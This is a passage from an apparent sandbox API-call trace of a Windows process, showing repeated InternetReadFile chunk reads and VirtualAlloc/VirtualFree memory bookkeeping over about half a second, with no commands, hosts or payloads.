lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0054.938] VirtualAlloc (lpAddress=0x3340000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0054.938] VirtualFree (lpAddress=0x5cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.939] VirtualFree (lpAddress=0x33e8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.939] VirtualAlloc (lpAddress=0x5cc000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5cc000 [0054.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0054.940] VirtualAlloc (lpAddress=0x3354000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3354000 [0054.941] VirtualFree (lpAddress=0x3340000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.942] VirtualAlloc (lpAddress=0x5dc000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5dc000 [0054.942] VirtualFree (lpAddress=0x3364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.943] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x42c8) returned 1 [0054.943] VirtualAlloc (lpAddress=0x3364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3364000 [0054.943] VirtualFree (lpAddress=0x3350000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.944] VirtualAlloc (lpAddress=0x5ec000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5ec000 [0054.944] VirtualFree (lpAddress=0x3368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfaf0) returned 1 [0054.951] VirtualAlloc (lpAddress=0x3368000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3368000 [0054.953] VirtualFree (lpAddress=0x3360000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.954] VirtualAlloc (lpAddress=0x5f0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5f0000 [0054.954] VirtualFree (lpAddress=0x3374000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.955] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x7d78) returned 1 [0054.955] VirtualAlloc (lpAddress=0x3374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3374000 [0054.956] VirtualFree (lpAddress=0x3364000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0054.956] VirtualAlloc (lpAddress=0x600000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x600000 [0054.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1005b) returned 1 [0054.995] VirtualAlloc (lpAddress=0x3340000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0054.998] VirtualFree (lpAddress=0x3370000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0054.999] VirtualAlloc (lpAddress=0x608000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x608000 [0055.001] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.002] VirtualAlloc (lpAddress=0x3354000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3354000 [0055.004] VirtualFree (lpAddress=0x3340000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.005] VirtualAlloc (lpAddress=0x620000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.005] VirtualAlloc (lpAddress=0x620000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.006] VirtualAlloc (lpAddress=0x618000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.006] VirtualAlloc (lpAddress=0x618000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.006] VirtualAlloc (lpAddress=0x0, dwSize=0x110000, flAllocationType=0x2000, flProtect=0x1) returned 0x3440000 [0055.006] VirtualAlloc (lpAddress=0x3440000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x3440000 [0055.008] VirtualAlloc (lpAddress=0x3368000, dwSize=0xd8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3368000 [0055.011] VirtualFree (lpAddress=0x3364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.023] VirtualFree (lpAddress=0x524000, dwSize=0xf4000, dwFreeType=0x4000) returned 1 [0055.028] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.029] VirtualAlloc (lpAddress=0x524000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0055.030] VirtualFree (lpAddress=0x3350000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.030] VirtualAlloc (lpAddress=0x3470000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3470000 [0055.030] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.031] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.031] VirtualAlloc (lpAddress=0x534000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x534000 [0055.034] VirtualFree (lpAddress=0x524000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.034] VirtualAlloc (lpAddress=0x3480000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3480000 [0055.035] VirtualFree (lpAddress=0x544000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.039] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.040] VirtualAlloc (lpAddress=0x544000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x544000 [0055.041] VirtualFree (lpAddress=0x530000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.041] VirtualAlloc (lpAddress=0x3490000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3490000 [0055.041] VirtualFree (lpAddress=0x554000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.044] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x67e8) returned 1 [0055.044] VirtualAlloc (lpAddress=0x554000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x554000 [0055.045] VirtualFree (lpAddress=0x540000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.046] VirtualAlloc (lpAddress=0x34a0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x34a0000 [0055.047] VirtualFree (lpAddress=0x558000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xe420) returned 1 [0055.049] VirtualAlloc (lpAddress=0x558000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x558000 [0055.050] VirtualFree (lpAddress=0x550000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.050] VirtualAlloc (lpAddress=0x34a8000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x34a8000 [0055.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.080] VirtualAlloc (lpAddress=0x524000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0055.082] VirtualFree (lpAddress=0x554000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.083] VirtualAlloc (lpAddress=0x34b4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x34b4000 [0055.084] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.086] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.086] VirtualAlloc (lpAddress=0x534000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x534000 [0055.089] VirtualFree (lpAddress=0x524000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.090] VirtualAlloc (lpAddress=0x34c4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x34c4000 [0055.091] VirtualFree (lpAddress=0x544000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.093] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1005a) returned 1 [0055.094] VirtualAlloc (lpAddress=0x544000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x544000 [0055.096] VirtualFree (lpAddress=0x530000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.096] VirtualAlloc (lpAddress=0x34d4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x34d4000 [0055.096] VirtualFree (lpAddress=0x554000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.097] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xf048) returned 1 [0055.098] VirtualAlloc (lpAddress=0x554000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x554000 [0055.099] VirtualFree (lpAddress=0x540000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.099] VirtualAlloc (lpAddress=0x34e4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x34e4000 [0055.100] VirtualFree (lpAddress=0x560000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.100] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.129] VirtualAlloc (lpAddress=0x560000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x560000 [0055.131] VirtualFree (lpAddress=0x550000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.132] VirtualAlloc (lpAddress=0x34f4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x34f4000 [0055.133] VirtualFree (lpAddress=0x570000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.136] VirtualAlloc (lpAddress=0x570000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x570000 [0055.138] VirtualFree (lpAddress=0x55c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.139] VirtualAlloc (lpAddress=0x3504000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3504000 [0055.140] VirtualFree (lpAddress=0x580000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.141] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.142] VirtualAlloc (lpAddress=0x580000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x580000 [0055.143] VirtualFree (lpAddress=0x56c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.144] VirtualAlloc (lpAddress=0x3514000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3514000 [0055.145] VirtualFree (lpAddress=0x590000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.146] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xdf2c) returned 1 [0055.146] VirtualAlloc (lpAddress=0x590000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x590000 [0055.147] VirtualFree (lpAddress=0x57c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.147] VirtualAlloc (lpAddress=0x3524000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3524000 [0055.148] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.172] VirtualAlloc (lpAddress=0x524000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0055.173] VirtualFree (lpAddress=0x58c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.174] VirtualAlloc (lpAddress=0x3534000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3534000 [0055.174] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.175] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x3948) returned 1 [0055.175] VirtualFree (lpAddress=0x524000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.176] VirtualAlloc (lpAddress=0x3544000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3544000 [0055.177] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x4470) returned 1 [0055.177] VirtualAlloc (lpAddress=0x524000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0055.178] VirtualFree (lpAddress=0x530000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.178] VirtualAlloc (lpAddress=0x3548000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3548000 [0055.179] VirtualFree (lpAddress=0x528000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.179] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x60f4) returned 1 [0055.180] VirtualAlloc (lpAddress=0x528000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x528000 [0055.181] VirtualAlloc (lpAddress=0x354c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x354c000 [0055.181] VirtualFree (lpAddress=0x52c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.182] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x9448) returned 1 [0055.183] VirtualAlloc (lpAddress=0x52c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x52c000 [0055.185] VirtualFree (lpAddress=0x524000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.185] VirtualAlloc (lpAddress=0x3550000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x3550000 [0055.186] VirtualAlloc (lpAddress=0x3550000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3550000 [0055.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xcd50) returned 1 [0055.188] VirtualAlloc (lpAddress=0x3558000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3558000 [0055.189] VirtualFree (lpAddress=0x528000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.189] VirtualAlloc (lpAddress=0x0, dwSize=0x200000, flAllocationType=0x2000, flProtect=0x1) returned 0x3650000 [0055.189] VirtualAlloc (lpAddress=0x3650000, dwSize=0x118000, flAllocationType=0x1000, flProtect=0x4) returned 0x3650000 [0055.193] VirtualAlloc (lpAddress=0x3568000, dwSize=0xe8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3568000 [0055.214] VirtualFree (lpAddress=0x3550000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.214] VirtualFree (lpAddress=0x3440000, dwSize=0x110000, dwFreeType=0x4000) returned 1 [0055.219] VirtualFree (lpAddress=0x3368000, dwSize=0xd8000, dwFreeType=0x4000) returned 1 [0055.223] VirtualFree (lpAddress=0x3440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.227] VirtualFree (lpAddress=0x3340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.234] VirtualAlloc (lpAddress=0x3768000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3768000 [0055.235] VirtualFree (lpAddress=0x3764000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.237] VirtualFree (lpAddress=0x3554000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.237] VirtualAlloc (lpAddress=0x3768000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.237] VirtualAlloc (lpAddress=0x3768000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.237] VirtualAlloc (lpAddress=0x3764000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.237] VirtualAlloc (lpAddress=0x3764000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0055.237] VirtualAlloc (lpAddress=0x0, dwSize=0x210000, flAllocationType=0x2000, flProtect=0x1) returned 0x3340000 [0055.238] VirtualAlloc (lpAddress=0x3340000, dwSize=0x210000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0055.259] VirtualFree (lpAddress=0x3650000, dwSize=0x114000, dwFreeType=0x4000) returned 1 [0055.265] VirtualFree (lpAddress=0x3564000, dwSize=0xec000, dwFreeType=0x4000) returned 1 [0055.269] VirtualFree (lpAddress=0x3550000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.272] VirtualAlloc (lpAddress=0x3650000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3650000 [0055.273] VirtualFree (lpAddress=0x3768000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.273] VirtualAlloc (lpAddress=0x3550000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x3550000 [0055.273] VirtualAlloc (lpAddress=0x3550000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3550000 [0055.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.275] VirtualAlloc (lpAddress=0x3560000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3560000 [0055.278] VirtualFree (lpAddress=0x3650000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.278] VirtualFree (lpAddress=0x3650000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.283] VirtualAlloc (lpAddress=0x0, dwSize=0x230000, flAllocationType=0x2000, flProtect=0x1) returned 0x3650000 [0055.284] VirtualAlloc (lpAddress=0x3650000, dwSize=0x154000, flAllocationType=0x1000, flProtect=0x4) returned 0x3650000 [0055.289] VirtualAlloc (lpAddress=0x3574000, dwSize=0xdc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3574000 [0055.292] VirtualFree (lpAddress=0x3570000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.312] VirtualFree (lpAddress=0x3550000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.312] VirtualFree (lpAddress=0x3340000, dwSize=0x210000, dwFreeType=0x4000) returned 1 [0055.321] VirtualFree (lpAddress=0x3340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.326] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.326] VirtualAlloc (lpAddress=0x37a4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37a4000 [0055.327] VirtualFree (lpAddress=0x355c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.328] VirtualAlloc (lpAddress=0x0, dwSize=0x240000, flAllocationType=0x2000, flProtect=0x1) returned 0x3880000 [0055.328] VirtualAlloc (lpAddress=0x3880000, dwSize=0x178000, flAllocationType=0x1000, flProtect=0x4) returned 0x3880000 [0055.331] VirtualAlloc (lpAddress=0x37b8000, dwSize=0xc8000, flAllocationType=0x1000, flProtect=0x4) returned 0x37b8000 [0055.333] VirtualFree (lpAddress=0x37b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.351] VirtualFree (lpAddress=0x3650000, dwSize=0x150000, dwFreeType=0x4000) returned 1 [0055.358] VirtualFree (lpAddress=0x3574000, dwSize=0xdc000, dwFreeType=0x4000) returned 1 [0055.362] VirtualFree (lpAddress=0x3550000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.364] VirtualAlloc (lpAddress=0x3650000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3650000 [0055.365] VirtualFree (lpAddress=0x37a0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.366] VirtualAlloc (lpAddress=0x39f8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x39f8000 [0055.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.367] VirtualAlloc (lpAddress=0x3664000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3664000 [0055.367] VirtualFree (lpAddress=0x3650000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.368] VirtualAlloc (lpAddress=0x3a08000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a08000 [0055.368] VirtualFree (lpAddress=0x3674000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.369] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.369] VirtualAlloc (lpAddress=0x3674000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3674000 [0055.370] VirtualFree (lpAddress=0x3660000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.371] VirtualAlloc (lpAddress=0x3a18000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a18000 [0055.371] VirtualFree (lpAddress=0x3684000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.372] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1e44) returned 1 [0055.372] VirtualFree (lpAddress=0x3670000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.373] VirtualAlloc (lpAddress=0x0, dwSize=0x270000, flAllocationType=0x2000, flProtect=0x1) returned 0x3340000 [0055.373] VirtualAlloc (lpAddress=0x3340000, dwSize=0x270000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0055.410] VirtualFree (lpAddress=0x3880000, dwSize=0x1a4000, dwFreeType=0x4000) returned 1 [0055.417] VirtualFree (lpAddress=0x37b8000, dwSize=0xc8000, dwFreeType=0x4000) returned 1 [0055.421] VirtualFree (lpAddress=0x3650000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.426] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.426] VirtualAlloc (lpAddress=0x3880000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3880000 [0055.427] VirtualFree (lpAddress=0x3a24000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.427] VirtualAlloc (lpAddress=0x35b0000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x35b0000 [0055.427] VirtualAlloc (lpAddress=0x35b0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x35b0000 [0055.428] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.428] VirtualAlloc (lpAddress=0x35c0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x35c0000 [0055.429] VirtualFree (lpAddress=0x3880000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.429] VirtualFree (lpAddress=0x3880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.433] VirtualAlloc (lpAddress=0x0, dwSize=0x290000, flAllocationType=0x2000, flProtect=0x1) returned 0x36b0000 [0055.434] VirtualAlloc (lpAddress=0x36b0000, dwSize=0x1b4000, flAllocationType=0x1000, flProtect=0x4) returned 0x36b0000 [0055.437] VirtualAlloc (lpAddress=0x35d4000, dwSize=0xdc000, flAllocationType=0x1000, flProtect=0x4) returned 0x35d4000 [0055.439] VirtualFree (lpAddress=0x35d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.463] VirtualFree 